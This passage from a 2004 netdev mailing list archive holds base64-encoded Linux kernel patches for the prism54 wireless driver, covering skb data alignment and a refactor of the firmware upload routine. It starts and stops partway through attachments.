KwlpZiAocmVzKQorCQlpc2xwY2lfbWd0X3JlbGVhc2UocmVzKTsKKworCXJldHVybiByZXQ7Cit9 CisKIHZvaWQKIG1ndF9jb21taXQoaXNscGNpX3ByaXZhdGUgKnByaXYpCiB7CiAJaW50IHJ2YWx1 ZTsKIAl1MzIgdTsKLQl1bmlvbiBvaWRfcmVzX3QgcjsKIAogCWlmIChpc2xwY2lfZ2V0X3N0YXRl KHByaXYpIDwgUFJWX1NUQVRFX0lOSVQpCiAJCXJldHVybjsKQEAgLTY0Myw2ICs2NjMsNyBAQAog CiAJdSA9IE9JRF9JTkxfTU9ERTsKIAlydmFsdWUgfD0gbWd0X2NvbW1pdF9saXN0KHByaXYsICZ1 LCAxKTsKKwlydmFsdWUgfD0gbWd0X3VwZGF0ZV9hZGRyKHByaXYpOwogCiAJaWYgKHJ2YWx1ZSkg ewogCQkvKiBzb21lIHJlcXVlc3QgaGF2ZSBmYWlsZWQuIFRoZSBkZXZpY2UgbWlnaHQgYmUgaW4g YW4KQEAgLTY1MCwxNCArNjcxLDYgQEAKIAkJcHJpbnRrKEtFUk5fREVCVUcgIiVzOiBtZ3RfY29t bWl0IGhhcyBmYWlsZWQuIFJlc3RhcnQgdGhlICIKICAgICAgICAgICAgICAgICAiZGV2aWNlIFxu IiwgcHJpdi0+bmRldi0+bmFtZSk7CiAJfQotCi0JLyogdXBkYXRlIHRoZSBNQUMgYWRkci4gQXMg aXQncyBub3QgY2FjaGVkLCBubyBsb2NrIHdpbGwgYmUgYWNxdWlyZWQgYnkKLQkgKiB0aGUgbWd0 X2dldF9yZXF1ZXN0Ci0JICovCi0JbWd0X2dldF9yZXF1ZXN0KHByaXYsIEdFTl9PSURfTUFDQURE UkVTUywgMCwgTlVMTCwgJnIpOwotCW1lbWNweShwcml2LT5uZGV2LT5kZXZfYWRkciwgci5wdHIs IDYpOwotCWtmcmVlKHIucHRyKTsKLQogfQogCiAvKiBUaGlzIHdpbGwgdGVsbCB5b3UgaWYgeW91 IGFyZSBhbGxvd2VkIHRvIGFuc3dlciBhIG1sbWUoZXgpIHJlcXVlc3QgLiovCkBAIC03MTAsOCAr NzIzLDExIEBACiAJY2FzZSBPSURfVFlQRV9CU1M6ewogCQkJc3RydWN0IG9ial9ic3MgKmJzcyA9 IHItPnB0cjsKIAkJCXJldHVybiBzbnByaW50ZihzdHIsIFBSSVZfU1RSX1NJWkUsCi0JCQkJCSJh Z2U9JXVcbmNoYW5uZWw9JXVcblwKLQkJCQkgICAgICAgIGNhcGluZm89MHglWFxucmF0ZXM9MHgl WFxuYmFzaWNfcmF0ZXM9MHglWFxuIiwgYnNzLT5hZ2UsIGJzcy0+Y2hhbm5lbCwgYnNzLT5jYXBp bmZvLCBic3MtPnJhdGVzLCBic3MtPmJhc2ljX3JhdGVzKTsKKwkJCQkJImFnZT0ldVxuY2hhbm5l bD0ldVxuIgorCQkJCQkiY2FwaW5mbz0weCVYXG5yYXRlcz0weCVYXG4iCisJCQkJCSJiYXNpY19y YXRlcz0weCVYXG4iLCBic3MtPmFnZSwKKwkJCQkJYnNzLT5jaGFubmVsLCBic3MtPmNhcGluZm8s CisJCQkJCWJzcy0+cmF0ZXMsIGJzcy0+YmFzaWNfcmF0ZXMpOwogCQl9CiAJCWJyZWFrOwogCWNh c2UgT0lEX1RZUEVfQlNTTElTVDp7CkBAIC03MjAsNyArNzM2LDkgQEAKIAkJCWsgPSBzbnByaW50 ZihzdHIsIFBSSVZfU1RSX1NJWkUsICJucj0ldVxuIiwgbGlzdC0+bnIpOwogCQkJZm9yIChpID0g MDsgaSA8IGxpc3QtPm5yOyBpKyspCiAJCQkJayArPSBzbnByaW50ZihzdHIgKyBrLCBQUklWX1NU Ul9TSVpFIC0gaywKLQkJCQkJICAgICAgImJzc1sldV0gOiBcbmFnZT0ldVxuY2hhbm5lbD0ldVxu Y2FwaW5mbz0weCVYXG5yYXRlcz0weCVYXG5iYXNpY19yYXRlcz0weCVYXG4iLAorCQkJCQkgICAg ICAiYnNzWyV1XSA6IFxuYWdlPSV1XG5jaGFubmVsPSV1XG4iCisJCQkJCSAgICAgICJjYXBpbmZv PTB4JVhcbnJhdGVzPTB4JVhcbiIKKwkJCQkJICAgICAgImJhc2ljX3JhdGVzPTB4JVhcbiIsCiAJ CQkJCSAgICAgIGksIGxpc3QtPmJzc2xpc3RbaV0uYWdlLAogCQkJCQkgICAgICBsaXN0LT5ic3Ns aXN0W2ldLmNoYW5uZWwsCiAJCQkJCSAgICAgIGxpc3QtPmJzc2xpc3RbaV0uY2FwaW5mbywKQEAg LTc0MiwxNiArNzYwLDE3IEBACiAJCWJyZWFrOwogCWNhc2UgT0lEX1RZUEVfTUxNRTp7CiAJCQlz dHJ1Y3Qgb2JqX21sbWUgKm1sbWUgPSByLT5wdHI7Ci0JCQlyZXR1cm4gc25wcmludGYoc3RyLCBQ UklWX1NUUl9TSVpFLCAiaWQ9MHglWFxuc3RhdGU9MHglWFxuXAotCQkJICAgICAgICAgY29kZT0w eCVYXG4iLCBtbG1lLT5pZCwgbWxtZS0+c3RhdGUsCi0JCQkJCW1sbWUtPmNvZGUpOworCQkJcmV0 dXJuIHNucHJpbnRmKHN0ciwgUFJJVl9TVFJfU0laRSwKKwkJCQkJImlkPTB4JVhcbnN0YXRlPTB4 JVhcbmNvZGU9MHglWFxuIiwKKwkJCQkJbWxtZS0+aWQsIG1sbWUtPnN0YXRlLCBtbG1lLT5jb2Rl KTsKIAkJfQogCQlicmVhazsKIAljYXNlIE9JRF9UWVBFX01MTUVFWDp7CiAJCQlzdHJ1Y3Qgb2Jq X21sbWVleCAqbWxtZSA9IHItPnB0cjsKLQkJCXJldHVybiBzbnByaW50ZihzdHIsIFBSSVZfU1RS X1NJWkUsICJpZD0weCVYXG5zdGF0ZT0weCVYXG5cCi0JCQkgICAgICAgICBjb2RlPTB4JVhcbnNp emU9MHglWFxuIiwgbWxtZS0+aWQsIG1sbWUtPnN0YXRlLAotCQkJCQltbG1lLT5jb2RlLCBtbG1l LT5zaXplKTsKKwkJCXJldHVybiBzbnByaW50ZihzdHIsIFBSSVZfU1RSX1NJWkUsCisJCQkJCSJp ZD0weCVYXG5zdGF0ZT0weCVYXG4iCisJCQkJCSJjb2RlPTB4JVhcbnNpemU9MHglWFxuIiwgbWxt ZS0+aWQsCisJCQkJCW1sbWUtPnN0YXRlLCBtbG1lLT5jb2RlLCBtbG1lLT5zaXplKTsKIAkJfQog CQlicmVhazsKIAljYXNlIE9JRF9UWVBFX1NTSUQ6ewo= --=====================_50488989==_-- From margitsw@t-online.de Sun May 30 13:10:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 13:10:23 -0700 (PDT) Received: from mailout10.sul.t-online.com (mailout10.sul.t-online.com [194.25.134.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UKA7gi002766 for ; Sun, 30 May 2004 13:10:08 -0700 Received: from fwd10.aul.t-online.de by mailout10.sul.t-online.com with smtp id 1BUWdC-0001wl-00; Sun, 30 May 2004 22:10:06 +0200 Received: from margit.t-online.de (bLiz+6ZQgegdnHskyGAxQrDFCvFjRZ382XKcm1z1F+yzmPxpz9dQE3@[80.128.220.231]) by fwd10.sul.t-online.com with esmtp id 1BUWcw-0b6mCu0; Sun, 30 May 2004 22:09:50 +0200 Message-Id: <5.1.0.14.2.20040530215235.0c1f3180@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 22:03:21 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 13/17 linux-2.6.7-rc2] prism54: Align skb patch Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50513794==_" X-Seen: false X-ID: bLiz+6ZQgegdnHskyGAxQrDFCvFjRZ382XKcm1z1F+yzmPxpz9dQE3 X-archive-position: 5477 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50513794==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-04-26 Margit Schubert-While * islpci_eth.c, islpci_dev.c : Align skb->data unconditonally after allocation. This would appear to improve RX rate. --=====================_50513794==_ Content-Type: application/octet-stream; name="13-align-skb.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="13-align-skb.patch" ZGlmZiAtTmF1ckViQiBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv aXNscGNpX2Rldi5jIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv aXNscGNpX2Rldi5jCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNt NTQvaXNscGNpX2Rldi5jCTIwMDQtMDUtMjggMTU6MTQ6NDkuNDIxOTE4NDE2ICswMjAwCisrKyBs aW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbHBjaV9kZXYuYwky MDA0LTA1LTI4IDE1OjQzOjE5LjE2Mzk5ODExMiArMDIwMApAQCAtNTYwLDYgKzU2MCw3IEBACiAJ CQlza2IgPSBOVUxMOwogCQkJZ290byBvdXRfZnJlZTsKIAkJfQorCQlza2JfcmVzZXJ2ZShza2Is ICg0IC0gKGxvbmcpIHNrYi0+ZGF0YSkgJiAweDAzKTsKIAkJLyogYWRkIHRoZSBuZXcgYWxsb2Nh dGVkIHNrX2J1ZmYgdG8gdGhlIGJ1ZmZlciBhcnJheSAqLwogCQlwcml2LT5kYXRhX2xvd19yeFtj b3VudGVyXSA9IHNrYjsKIApkaWZmIC1OYXVyRWJCIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQv d2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZXRoLmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQv d2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZXRoLmMKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9u ZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZXRoLmMJMjAwNC0wNS0yOCAxNTo0NDo0MC44NTE1 Nzk3MTIgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNt NTQvaXNscGNpX2V0aC5jCTIwMDQtMDUtMjggMTU6NDM6MTkuMTY1OTk3ODA4ICswMjAwCkBAIC00 NDAsNiArNDQwLDcgQEAKIAkJCURFQlVHKFNIT1dfRVJST1JfTUVTU0FHRVMsICJFcnJvciBhbGxv Y2F0aW5nIHNrYiBcbiIpOwogCQkJYnJlYWs7CiAJCX0KKwkJc2tiX3Jlc2VydmUoc2tiLCAoNCAt IChsb25nKSBza2ItPmRhdGEpICYgMHgwMyk7CiAJCS8qIHN0b3JlIHRoZSBuZXcgc2tiIHN0cnVj dHVyZSBwb2ludGVyICovCiAJCWluZGV4ID0gaW5kZXggJSBJU0wzOFhYX0NCX1JYX1FTSVpFOwog CQlwcml2LT5kYXRhX2xvd19yeFtpbmRleF0gPSBza2I7Cg== --=====================_50513794==_-- From margitsw@t-online.de Sun May 30 13:11:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 13:11:04 -0700 (PDT) Received: from mailout04.sul.t-online.com (mailout04.sul.t-online.com [194.25.134.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UKB0gi003327 for ; Sun, 30 May 2004 13:11:00 -0700 Received: from fwd02.aul.t-online.de by mailout04.sul.t-online.com with smtp id 1BUWe2-0002dS-03; Sun, 30 May 2004 22:10:58 +0200 Received: from margit.t-online.de (VrtIBgZQoeajUTaBuo77yPzMdx0gIUmgdi7Niw8teEwn471mczphov@[80.128.220.231]) by fwd02.sul.t-online.com with esmtp id 1BUWdr-1m7XJw0; Sun, 30 May 2004 22:10:47 +0200 Message-Id: <5.1.0.14.2.20040530215743.0c1ffb60@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 22:08:21 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 16/17 linux-2.6.7-rc2] prism54: Simplify firmware upload call Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50567412==_" X-Seen: false X-ID: VrtIBgZQoeajUTaBuo77yPzMdx0gIUmgdi7Niw8teEwn471mczphov X-archive-position: 5478 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50567412==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-05-29 Margit Schubert-While * Simplify call to firmware upload routine --=====================_50567412==_ Content-Type: application/octet-stream; name="16-simplify-fwload.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="16-simplify-fwload.patch" ZGlmZiAtTmF1ciBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bF8zOHh4LmMgbGludXgtMi42LjYtMDIvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xf Mzh4eC5jCi0tLSBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bF8zOHh4LmMJMjAwNC0wNS0yOSAyMDo1OTo0My4wMDAwMDAwMDAgKzAyMDAKKysrIGxpbnV4LTIu Ni42LTAyL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsXzM4eHguYwkyMDA0LTA1LTI5 IDIxOjU3OjQyLjAwMDAwMDAwMCArMDIwMApAQCAtMjMwLDEzMCArMjMwLDYgQEAKIH0KIAogaW50 Ci1pc2wzOHh4X3VwbG9hZF9maXJtd2FyZShjaGFyICpmd19pZCwgX1JFUV9GV19ERVZfVCBkZXYs IHZvaWQgKmRldmljZV9iYXNlLAotCQkJZG1hX2FkZHJfdCBob3N0X2FkZHJlc3MpCi17Ci0JdTMy IHJlZywgcmM7Ci0KLSNpZiBWRVJCT1NFID4gU0hPV19FUlJPUl9NRVNTQUdFUwotCURFQlVHKFNI T1dfRVJST1JfTUVTU0FHRVMsICJpc2wzOHh4X3VwbG9hZF9maXJtd2FyZSgweCVseCwgMHglbHgp XG4iLAotCSAgICAgIChsb25nKSBkZXZpY2VfYmFzZSwgKGxvbmcpIGhvc3RfYWRkcmVzcyk7Ci0j ZW5kaWYKLQotCS8qIGNsZWFyIHRoZSBSQU1Cb290IGFuZCB0aGUgUmVzZXQgYml0ICovCi0JcmVn ID0gcmVhZGwoZGV2aWNlX2Jhc2UgKyBJU0wzOFhYX0NUUkxfU1RBVF9SRUcpOwotCXJlZyAmPSB+ SVNMMzhYWF9DVFJMX1NUQVRfUkVTRVQ7Ci0JcmVnICY9IH5JU0wzOFhYX0NUUkxfU1RBVF9SQU1C T09UOwotCXdyaXRlbChyZWcsIGRldmljZV9iYXNlICsgSVNMMzhYWF9DVFJMX1NUQVRfUkVHKTsK LQl3bWIoKTsKLQl1ZGVsYXkoSVNMMzhYWF9XUklURUlPX0RFTEFZKTsKLQotCS8qIHNldCB0aGUg UmVzZXQgYml0IHdpdGhvdXQgcmVhZGluZyB0aGUgcmVnaXN0ZXIgISAqLwotCXJlZyB8PSBJU0wz OFhYX0NUUkxfU1RBVF9SRVNFVDsKLQl3cml0ZWwocmVnLCBkZXZpY2VfYmFzZSArIElTTDM4WFhf Q1RSTF9TVEFUX1JFRyk7Ci0Jd21iKCk7Ci0JdWRlbGF5KElTTDM4WFhfV1JJVEVJT19ERUxBWSk7 Ci0KLQkvKiBjbGVhciB0aGUgUmVzZXQgYml0ICovCi0JcmVnICY9IH5JU0wzOFhYX0NUUkxfU1RB VF9SRVNFVDsKLQl3cml0ZWwocmVnLCBkZXZpY2VfYmFzZSArIElTTDM4WFhfQ1RSTF9TVEFUX1JF Ryk7Ci0Jd21iKCk7Ci0KLQkvKiB3YWl0IGEgd2hpbGUgZm9yIHRoZSBkZXZpY2UgdG8gcmVib290 ICovCi0JbWRlbGF5KDUwKTsKLQotCXsKLQkJY29uc3Qgc3RydWN0IGZpcm13YXJlICpmd19lbnRy eSA9IDA7Ci0JCWxvbmcgZndfbGVuOwotCQljb25zdCB1MzIgKmZ3X3B0cjsKLQotCQlyYyA9IHJl cXVlc3RfZmlybXdhcmUoJmZ3X2VudHJ5LCBmd19pZCwgZGV2KTsKLQkJaWYgKHJjKSB7Ci0JCQlw cmludGsoS0VSTl9FUlIKLQkJCSAgICAgICAiJXM6IHJlcXVlc3RfZmlybXdhcmUoKSBmYWlsZWQg Zm9yICclcydcbiIsCi0JCQkgICAgICAgInByaXNtNTQiLCBmd19pZCk7Ci0JCQlyZXR1cm4gcmM7 Ci0JCX0KLQkJLyogcHJlcGFyZSB0aGUgRGlyZWN0IE1lbW9yeSBCYXNlIHJlZ2lzdGVyICovCi0J CXJlZyA9IElTTDM4WFhfREVWX0ZJUk1XQVJFX0FERFJFUzsKLQotCQlmd19wdHIgPSAodTMyICop IGZ3X2VudHJ5LT5kYXRhOwotCQlmd19sZW4gPSBmd19lbnRyeS0+c2l6ZTsKLQotCQlpZiAoZndf bGVuICUgNCkgewotCQkJcHJpbnRrKEtFUk5fRVJSCi0JCQkgICAgICAgIiVzOiBmaXJtd2FyZSAn JXMnIHNpemUgaXMgbm90IG11bHRpcGxlIG9mIDMyYml0LCBhYm9ydGluZyFcbiIsCi0JCQkgICAg ICAgInByaXNtNTQiLCBmd19pZCk7Ci0JCQlyZWxlYXNlX2Zpcm13YXJlKGZ3X2VudHJ5KTsKLQkJ CXJldHVybiBFSUxTRVE7IC8qIElsbGVnYWwgYnl0ZSBzZXF1ZW5jZSAgKi87Ci0JCX0KLQotCQl3 aGlsZSAoZndfbGVuID4gMCkgewotCQkJbG9uZyBfZndfbGVuID0KLQkJCSAgICAoZndfbGVuID4K LQkJCSAgICAgSVNMMzhYWF9NRU1PUllfV0lORE9XX1NJWkUpID8KLQkJCSAgICBJU0wzOFhYX01F TU9SWV9XSU5ET1dfU0laRSA6IGZ3X2xlbjsKLQkJCXUzMiAqZGV2X2Z3X3B0ciA9IGRldmljZV9i YXNlICsgSVNMMzhYWF9ESVJFQ1RfTUVNX1dJTjsKLQotCQkJLyogc2V0IHRoZSBjYXJkcyBiYXNl IGFkZHJlc3MgZm9yIHdyaXR0aW5nIHRoZSBkYXRhICovCi0JCQlpc2wzOHh4X3czMl9mbHVzaChk ZXZpY2VfYmFzZSwgcmVnLAotCQkJCQkgIElTTDM4WFhfRElSX01FTV9CQVNFX1JFRyk7Ci0JCQl3 bWIoKTsJLyogYmUgcGFyYW5vaWQgKi8KLQotCQkJLyogaW5jcmVtZW50IHRoZSB3cml0ZSBhZGRy ZXNzIGZvciBuZXh0IGl0ZXJhdGlvbiAqLwotCQkJcmVnICs9IF9md19sZW47Ci0JCQlmd19sZW4g LT0gX2Z3X2xlbjsKLQotCQkJLyogd3JpdGUgdGhlIGRhdGEgdG8gdGhlIERpcmVjdCBNZW1vcnkg V2luZG93IDMyYml0LXdpc2UgKi8KLQkJCS8qIG1lbWNweV90b2lvKCkgZG9lc24ndCBndWFyYW50 ZWUgMzJiaXQgd3JpdGVzIDotfCAqLwotCQkJd2hpbGUgKF9md19sZW4gPiAwKSB7Ci0JCQkJLyog dXNlIG5vbi1zd2FwcGluZyB3cml0ZWwoKSAqLwotCQkJCV9fcmF3X3dyaXRlbCgqZndfcHRyLCBk ZXZfZndfcHRyKTsKLQkJCQlmd19wdHIrKywgZGV2X2Z3X3B0cisrOwotCQkJCV9md19sZW4gLT0g NDsKLQkJCX0KLQotCQkJLyogZmx1c2ggUENJIHBvc3RpbmcgKi8KLQkJCSh2b2lkKSByZWFkbChk ZXZpY2VfYmFzZSArIElTTDM4WFhfUENJX1BPU1RJTkdfRkxVU0gpOwotCQkJd21iKCk7CS8qIGJl IHBhcmFub2lkIGFnYWluICovCi0KLQkJCUJVR19PTihfZndfbGVuICE9IDApOwotCQl9Ci0KLQkJ QlVHX09OKGZ3X2xlbiAhPSAwKTsKLQotCQlyZWxlYXNlX2Zpcm13YXJlKGZ3X2VudHJ5KTsKLQl9 Ci0KLQkvKiBub3cgcmVzZXQgdGhlIGRldmljZQotCSAqIGNsZWFyIHRoZSBSZXNldCAmIENsa1J1 biBiaXQsIHNldCB0aGUgUkFNQm9vdCBiaXQgKi8KLQlyZWcgPSByZWFkbChkZXZpY2VfYmFzZSAr IElTTDM4WFhfQ1RSTF9TVEFUX1JFRyk7Ci0JcmVnICY9IH5JU0wzOFhYX0NUUkxfU1RBVF9DTEtS VU47Ci0JcmVnICY9IH5JU0wzOFhYX0NUUkxfU1RBVF9SRVNFVDsKLQlyZWcgfD0gSVNMMzhYWF9D VFJMX1NUQVRfUkFNQk9PVDsKLQlpc2wzOHh4X3czMl9mbHVzaChkZXZpY2VfYmFzZSwgcmVnLCBJ U0wzOFhYX0NUUkxfU1RBVF9SRUcpOwotCXdtYigpOwotCXVkZWxheShJU0wzOFhYX1dSSVRFSU9f REVMQVkpOwotCi0JLyogc2V0IHRoZSByZXNldCBiaXQgbGF0Y2hlcyB0aGUgaG9zdCBvdmVycmlk ZSBhbmQgUkFNQm9vdCBiaXRzCi0JICogaW50byB0aGUgZGV2aWNlIGZvciBvcGVyYXRpb24gd2hl biB0aGUgcmVzZXQgYml0IGlzIHJlc2V0ICovCi0JcmVnIHw9IElTTDM4WFhfQ1RSTF9TVEFUX1JF U0VUOwotCXdyaXRlbChyZWcsIGRldmljZV9iYXNlICsgSVNMMzhYWF9DVFJMX1NUQVRfUkVHKTsK LQkvKiBkb24ndCBkbyBmbHVzaCBQQ0kgcG9zdGluZyBoZXJlISAqLwotCXdtYigpOwotCXVkZWxh eShJU0wzOFhYX1dSSVRFSU9fREVMQVkpOwotCi0JLyogY2xlYXIgdGhlIHJlc2V0IGJpdCBzaG91 bGQgc3RhcnQgdGhlIHdob2xlIGNpcmN1cyAqLwotCXJlZyAmPSB+SVNMMzhYWF9DVFJMX1NUQVRf UkVTRVQ7Ci0Jd3JpdGVsKHJlZywgZGV2aWNlX2Jhc2UgKyBJU0wzOFhYX0NUUkxfU1RBVF9SRUcp OwotCS8qIGRvbid0IGRvIGZsdXNoIFBDSSBwb3N0aW5nIGhlcmUhICovCi0Jd21iKCk7Ci0JdWRl bGF5KElTTDM4WFhfV1JJVEVJT19ERUxBWSk7Ci0KLQlyZXR1cm4gMDsKLX0KLQotaW50CiBpc2wz OHh4X2luX3F1ZXVlKGlzbDM4eHhfY29udHJvbF9ibG9jayAqY2IsIGludCBxdWV1ZSkKIHsKIAlj b25zdCBzMzIgZGVsdGEgPSAobGUzMl90b19jcHUoY2ItPmRyaXZlcl9jdXJyX2ZyYWdbcXVldWVd KSAtCmRpZmYgLU5hdXIgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201 NC9pc2xfMzh4eC5oIGxpbnV4LTIuNi42LTAyL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv aXNsXzM4eHguaAotLS0gbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201 NC9pc2xfMzh4eC5oCTIwMDQtMDUtMjkgMjA6NTk6NDMuMDAwMDAwMDAwICswMjAwCisrKyBsaW51 eC0yLjYuNi0wMi9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lzbF8zOHh4LmgJMjAwNC0w NS0yOSAyMTo1Njo0MS4wMDAwMDAwMDAgKzAyMDAKQEAgLTE2Niw2ICsxNjYsNCBAQAogdm9pZCBp c2wzOHh4X3RyaWdnZXJfZGV2aWNlKGludCwgdm9pZCAqKTsKIHZvaWQgaXNsMzh4eF9pbnRlcmZh Y2VfcmVzZXQodm9pZCAqLCBkbWFfYWRkcl90KTsKIAotaW50IGlzbDM4eHhfdXBsb2FkX2Zpcm13 YXJlKGNoYXIgKiwgX1JFUV9GV19ERVZfVCwgdm9pZCAqLCBkbWFfYWRkcl90KTsKLQogI2VuZGlm CQkJCS8qIF9JU0xfMzhYWF9IICovCmRpZmYgLU5hdXIgbGludXgtMi42LjYtMDEvZHJpdmVycy9u ZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmMgbGludXgtMi42LjYtMDIvZHJpdmVycy9u ZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmMKLS0tIGxpbnV4LTIuNi42LTAxL2RyaXZl cnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2Rldi5jCTIwMDQtMDUtMjkgMjA6NTk6NDMu MDAwMDAwMDAwICswMjAwCisrKyBsaW51eC0yLjYuNi0wMi9kcml2ZXJzL25ldC93aXJlbGVzcy9w cmlzbTU0L2lzbHBjaV9kZXYuYwkyMDA0LTA1LTI5IDIyOjAxOjQ0LjAwMDAwMDAwMCArMDIwMApA QCAtNTAsNiArNTAsMTI1IEBACiAgKiBuZGV2LT5zZXRfbWFjX2FkZHJlc3MuIEplYW4gSUkgKi8K IGNvbnN0IHVuc2lnbmVkIGNoYXIJZHVtbXlfbWFjWzZdID0geyAweDAwLCAweDMwLCAweEI0LCAw eDAwLCAweDAwLCAweDAwIH07CiAKK3N0YXRpYyBpbnQKK2lzbF91cGxvYWRfZmlybXdhcmUoaXNs cGNpX3ByaXZhdGUgKnByaXYpCit7CisJdTMyIHJlZywgcmM7CisJdm9pZCAqZGV2aWNlX2Jhc2Ug PSBwcml2LT5kZXZpY2VfYmFzZTsKKworCS8qIGNsZWFyIHRoZSBSQU1Cb290IGFuZCB0aGUgUmVz ZXQgYml0ICovCisJcmVnID0gcmVhZGwoZGV2aWNlX2Jhc2UgKyBJU0wzOFhYX0NUUkxfU1RBVF9S RUcpOworCXJlZyAmPSB+SVNMMzhYWF9DVFJMX1NUQVRfUkVTRVQ7CisJcmVnICY9IH5JU0wzOFhY X0NUUkxfU1RBVF9SQU1CT09UOworCXdyaXRlbChyZWcsIGRldmljZV9iYXNlICsgSVNMMzhYWF9D VFJMX1NUQVRfUkVHKTsKKwl3bWIoKTsKKwl1ZGVsYXkoSVNMMzhYWF9XUklURUlPX0RFTEFZKTsK KworCS8qIHNldCB0aGUgUmVzZXQgYml0IHdpdGhvdXQgcmVhZGluZyB0aGUgcmVnaXN0ZXIgISAq LworCXJlZyB8PSBJU0wzOFhYX0NUUkxfU1RBVF9SRVNFVDsKKwl3cml0ZWwocmVnLCBkZXZpY2Vf YmFzZSArIElTTDM4WFhfQ1RSTF9TVEFUX1JFRyk7CisJd21iKCk7CisJdWRlbGF5KElTTDM4WFhf V1JJVEVJT19ERUxBWSk7CisKKwkvKiBjbGVhciB0aGUgUmVzZXQgYml0ICovCisJcmVnICY9IH5J U0wzOFhYX0NUUkxfU1RBVF9SRVNFVDsKKwl3cml0ZWwocmVnLCBkZXZpY2VfYmFzZSArIElTTDM4 WFhfQ1RSTF9TVEFUX1JFRyk7CisJd21iKCk7CisKKwkvKiB3YWl0IGEgd2hpbGUgZm9yIHRoZSBk ZXZpY2UgdG8gcmVib290ICovCisJbWRlbGF5KDUwKTsKKworCXsKKwkJY29uc3Qgc3RydWN0IGZp cm13YXJlICpmd19lbnRyeSA9IDA7CisJCWxvbmcgZndfbGVuOworCQljb25zdCB1MzIgKmZ3X3B0 cjsKKworCQlyYyA9IHJlcXVlc3RfZmlybXdhcmUoJmZ3X2VudHJ5LCBwcml2LT5maXJtd2FyZSwg UFJJU01fRldfUERFVik7CisJCWlmIChyYykgeworCQkJcHJpbnRrKEtFUk5fRVJSCisJCQkgICAg ICAgIiVzOiByZXF1ZXN0X2Zpcm13YXJlKCkgZmFpbGVkIGZvciAnJXMnXG4iLAorCQkJICAgICAg ICJwcmlzbTU0IiwgcHJpdi0+ZmlybXdhcmUpOworCQkJcmV0dXJuIHJjOworCQl9CisJCS8qIHBy ZXBhcmUgdGhlIERpcmVjdCBNZW1vcnkgQmFzZSByZWdpc3RlciAqLworCQlyZWcgPSBJU0wzOFhY X0RFVl9GSVJNV0FSRV9BRERSRVM7CisKKwkJZndfcHRyID0gKHUzMiAqKSBmd19lbnRyeS0+ZGF0 YTsKKwkJZndfbGVuID0gZndfZW50cnktPnNpemU7CisKKwkJaWYgKGZ3X2xlbiAlIDQpIHsKKwkJ CXByaW50ayhLRVJOX0VSUgorCQkJICAgICAgICIlczogZmlybXdhcmUgJyVzJyBzaXplIGlzIG5v dCBtdWx0aXBsZSBvZiAzMmJpdCwgYWJvcnRpbmchXG4iLAorCQkJICAgICAgICJwcmlzbTU0Iiwg cHJpdi0+ZmlybXdhcmUpOworCQkJcmVsZWFzZV9maXJtd2FyZShmd19lbnRyeSk7CisJCQlyZXR1 cm4gRUlMU0VROyAvKiBJbGxlZ2FsIGJ5dGUgc2VxdWVuY2UgICovOworCQl9CisKKwkJd2hpbGUg KGZ3X2xlbiA+IDApIHsKKwkJCWxvbmcgX2Z3X2xlbiA9CisJCQkgICAgKGZ3X2xlbiA+CisJCQkg ICAgIElTTDM4WFhfTUVNT1JZX1dJTkRPV19TSVpFKSA/CisJCQkgICAgSVNMMzhYWF9NRU1PUllf 